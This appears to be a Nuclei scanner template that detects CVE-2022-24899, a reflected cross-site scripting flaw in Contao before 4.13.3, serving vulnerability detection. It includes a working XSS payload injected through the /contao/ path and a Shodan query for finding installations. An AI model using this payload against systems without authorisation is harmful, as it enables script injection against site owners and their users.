id: CVE-2022-24899

info:
  name: Contao <4.13.3 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Contao prior to 4.13.3 contains a cross-site scripting vulnerability.  It is possible to inject arbitrary JavaScript code into the canonical tag.
  remediation: As a workaround, users may disable canonical tags in the root page settings.
  reference:
    - https://huntr.dev/bounties/df46e285-1b7f-403c-8f6c-8819e42deb80/
    - https://github.com/contao/contao/security/advisories/GHSA-m8x6-6r63-qvj2
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24899
    - https://contao.org/en/security-advisories/cross-site-scripting-via-canonical-url.html
    - https://github.com/contao/contao/commit/199206849a87ddd0fa5cf674eb3c58292fd8366c
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-24899
    cwe-id: CWE-79
    epss-score: 0.00402
    epss-percentile: 0.70701
    cpe: cpe:2.3:a:contao:contao:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: contao
    product: contao
    shodan-query: title:"Contao"
  tags: cve,cve2022,contao,xss,huntr

http:
  - method: GET
    path:
      - "{{BaseURL}}/contao/%22%3e%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"></script><script>alert(document.domain)</script>'
          - '"Not authenticated"'
        condition: and

      - type: word
        part: header
        words:
          - text/html

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